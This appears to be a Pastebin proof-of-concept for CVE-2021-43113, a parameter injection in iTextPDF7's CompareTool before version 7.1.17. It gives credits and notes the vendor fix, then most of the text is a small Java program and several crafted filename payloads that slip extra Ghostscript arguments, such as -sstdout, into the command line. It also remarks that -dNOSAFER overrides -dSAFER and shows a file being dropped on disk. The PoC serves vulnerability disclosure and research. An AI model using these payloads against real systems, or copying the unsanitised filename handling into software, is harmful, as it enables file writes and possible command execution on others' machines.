CVE-2021-43113: iTextPDF7 Parameter Injection PoC - Pastebin.com

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Nov 14th, 2021

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1. /*

2. Title: iTextPDF7 Java Ghostscript Parameter Injection

3. Software: iTextPDF7 (Java version)

4. Version: <7.1.17

5. Vulnerability: Parameter Injection

6. Credits: Gabriele Zuddas (gzuddas[_@t_]mentat.is)

7. Description: An attacker controlling the filename passed to the CompareTool class, is able to inject arbitrary parameters in the command line being executed (ghostscript). The vulnerable code resides inside the com/itextpdf/io/util/GhostscriptHelper.java.

9. Notes: Vendor quickly acknowledged and fixed the vulnerability starting from version 7.1.17 (https://github.com/itext/itext7/releases/tag/7.1.17)

10. */

12. //To compile: javac -cp “.:*” Example.java

13. //PoC Payload: ITEXT_GS_EXEC=/usr/bin/gs java -cp “.:*” Example 'a.pdf" -sstdout=hi.txt # '

15. import com.itextpdf.kernel.utils.CompareTool;

16. //Parameter injection: javac -cp “.:*” Example.java; ITEXT_GS_EXEC=/usr/bin/gs java -cp “.:*” Example “a.pdf\\\” -?"

17. // javac -cp “.:*” Example.java; ITEXT_GS_EXEC=/usr/bin/gs java -cp “.:*” Example “xxx.pdf\” - \0"

19. public class Example {

20. public static void main(String args[]) throws Exception {

21.    CompareTool c \= new CompareTool();
    

22.    c.compareVisually("a.pdf", args\[0\],  ".", ".", null);
    

23. }

24. }

27. //$ITEXT_GS_EXEC -dSAFER -dNOPAUSE -dBATCH -sDEVICE=png16m -r150 -sOutputFile="./cmp_xxx.pdf" - yyyyy-%03d.png" “xxx.pdf” - yyyyy"

29. //-dNOSAFER overrides -dSAFER

31. //javac -cp “.:*” Example.java; ITEXT_GS_EXEC=/usr/bin/gs java -cp “.:*” Example “xxx.pdf\” -sstdout=a.txt"

32. //DROPS a file called ‘a.txt-%03d.png\ xxx.pdf\ -sstdout=a.txt’ on the filesystem